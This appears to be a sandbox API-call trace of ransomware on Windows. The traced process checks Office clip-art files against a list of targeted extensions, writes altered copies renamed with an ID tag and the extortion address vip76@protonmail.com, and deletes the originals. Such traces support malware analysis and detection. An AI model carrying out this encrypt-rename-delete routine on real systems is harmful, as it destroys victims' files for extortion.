	[0175.133] lstrlenW (lpString=".zip") returned 4
	[0175.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.139] lstrlenW (lpString=".rar") returned 4
	[0175.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.139] lstrlenW (lpString=".bz2") returned 4
	[0175.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.139] lstrlenW (lpString=".7z") returned 3
	[0175.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.139] lstrlenW (lpString=".dbf") returned 4
	[0175.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.139] lstrlenW (lpString=".1cd") returned 4
	[0175.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.140] lstrlenW (lpString=".jpg") returned 4
	[0175.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.140] lstrlenW (lpString=".doc") returned 4
	[0175.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString=".docx") returned 5
	[0175.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.140] lstrlenW (lpString=".pdf") returned 4
	[0175.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString=".xls") returned 4
	[0175.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.140] lstrlenW (lpString=".xlsx") returned 5
	[0175.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.140] lstrlenW (lpString=".ppt") returned 4
	[0175.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.140] lstrlenW (lpString=".zip") returned 4
	[0175.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.140] lstrlenW (lpString=".rar") returned 4
	[0175.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString=".bz2") returned 4
	[0175.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.140] lstrlenW (lpString=".7z") returned 3
	[0175.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.140] lstrlenW (lpString=".dbf") returned 4
	[0175.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.141] lstrlenW (lpString=".1cd") returned 4
	[0175.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0175.141] lstrlenW (lpString=".jpg") returned 4
	[0175.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.141] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.141] lstrlenW (lpString="HH00513_.WMF") returned 12
	[0175.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.142] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=818) returned 1
	[0175.142] CloseHandle (hObject=0x5b4) returned 1
	[0175.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220
	[0175.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.142] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.142] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.143] GetLastError () returned 0x0
	[0175.143] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x332, lpOverlapped=0x0) returned 1
	[0175.145] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x340, lpOverlapped=0x0) returned 1
	[0175.146] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.146] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.146] SetEndOfFile (hFile=0x594) returned 1
	[0175.146] CloseHandle (hObject=0x594) returned 1
	[0175.146] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.146] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.149] CloseHandle (hObject=0x5b4) returned 1
	[0175.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0175.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.150] lstrlenW (lpString=".doc") returned 4
	[0175.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.150] lstrlenW (lpString=".docx") returned 5
	[0175.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.150] lstrlenW (lpString=".pdf") returned 4
	[0175.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.150] lstrlenW (lpString=".xls") returned 4
	[0175.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.150] lstrlenW (lpString=".xlsx") returned 5
	[0175.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.150] lstrlenW (lpString=".ppt") returned 4
	[0175.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.150] lstrlenW (lpString=".zip") returned 4
	[0175.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.150] lstrlenW (lpString=".rar") returned 4
	[0175.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString=".bz2") returned 4
	[0175.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString=".7z") returned 3
	[0175.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.151] lstrlenW (lpString=".dbf") returned 4
	[0175.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.151] lstrlenW (lpString=".1cd") returned 4
	[0175.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.151] lstrlenW (lpString=".jpg") returned 4
	[0175.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.151] lstrlenW (lpString=".doc") returned 4
	[0175.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString=".docx") returned 5
	[0175.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.151] lstrlenW (lpString=".pdf") returned 4
	[0175.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString=".xls") returned 4
	[0175.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.151] lstrlenW (lpString=".xlsx") returned 5
	[0175.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.151] lstrlenW (lpString=".ppt") returned 4
	[0175.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.152] lstrlenW (lpString=".zip") returned 4
	[0175.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.152] lstrlenW (lpString=".rar") returned 4
	[0175.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.152] lstrlenW (lpString=".bz2") returned 4
	[0175.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.152] lstrlenW (lpString=".7z") returned 3
	[0175.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.152] lstrlenW (lpString=".dbf") returned 4
	[0175.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.152] lstrlenW (lpString=".1cd") returned 4
	[0175.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0175.152] lstrlenW (lpString=".jpg") returned 4
	[0175.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.152] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.152] lstrlenW (lpString="HH00524_.WMF") returned 12
	[0175.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.153] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14688) returned 1
	[0175.153] CloseHandle (hObject=0x5b4) returned 1
	[0175.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220
	[0175.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.154] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.154] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.154] GetLastError () returned 0x0
	[0175.154] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3960, lpOverlapped=0x0) returned 1
	[0175.157] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3970, lpOverlapped=0x0) returned 1
	[0175.158] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.159] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.159] SetEndOfFile (hFile=0x594) returned 1
	[0175.159] CloseHandle (hObject=0x594) returned 1
	[0175.159] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.159] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.167] CloseHandle (hObject=0x5b4) returned 1
	[0175.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.168] lstrlenW (lpString=".doc") returned 4
	[0175.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString=".docx") returned 5
	[0175.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.168] lstrlenW (lpString=".pdf") returned 4
	[0175.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString=".xls") returned 4
	[0175.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.168] lstrlenW (lpString=".xlsx") returned 5
	[0175.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.168] lstrlenW (lpString=".ppt") returned 4
	[0175.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.168] lstrlenW (lpString=".zip") returned 4
	[0175.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.168] lstrlenW (lpString=".rar") returned 4
	[0175.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString=".bz2") returned 4
	[0175.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString=".7z") returned 3
	[0175.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.168] lstrlenW (lpString=".dbf") returned 4
	[0175.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.168] lstrlenW (lpString=".1cd") returned 4
	[0175.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.169] lstrlenW (lpString=".jpg") returned 4
	[0175.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.169] lstrlenW (lpString=".doc") returned 4
	[0175.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString=".docx") returned 5
	[0175.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.169] lstrlenW (lpString=".pdf") returned 4
	[0175.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString=".xls") returned 4
	[0175.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.169] lstrlenW (lpString=".xlsx") returned 5
	[0175.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.169] lstrlenW (lpString=".ppt") returned 4
	[0175.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.169] lstrlenW (lpString=".zip") returned 4
	[0175.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.169] lstrlenW (lpString=".rar") returned 4
	[0175.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString=".bz2") returned 4
	[0175.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.169] lstrlenW (lpString=".7z") returned 3
	[0175.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.169] lstrlenW (lpString=".dbf") returned 4
	[0175.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.170] lstrlenW (lpString=".1cd") returned 4
	[0175.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0175.170] lstrlenW (lpString=".jpg") returned 4
	[0175.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.170] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.170] lstrlenW (lpString="HH00526_.WMF") returned 12
	[0175.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.172] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=13538) returned 1
	[0175.172] CloseHandle (hObject=0x5b4) returned 1
	[0175.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220
	[0175.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.172] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.172] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.173] GetLastError () returned 0x0
	[0175.173] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x34e2, lpOverlapped=0x0) returned 1
	[0175.252] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x34f0, lpOverlapped=0x0) returned 1
	[0175.253] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.253] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.254] SetEndOfFile (hFile=0x594) returned 1
	[0175.254] CloseHandle (hObject=0x594) returned 1
	[0175.254] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.254] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.260] CloseHandle (hObject=0x5b4) returned 1
	[0175.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0175.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.267] lstrlenW (lpString=".doc") returned 4
	[0175.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.267] lstrlenW (lpString=".docx") returned 5
	[0175.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.267] lstrlenW (lpString=".pdf") returned 4
	[0175.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.267] lstrlenW (lpString=".xls") returned 4
	[0175.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.267] lstrlenW (lpString=".xlsx") returned 5
	[0175.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.267] lstrlenW (lpString=".ppt") returned 4
	[0175.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
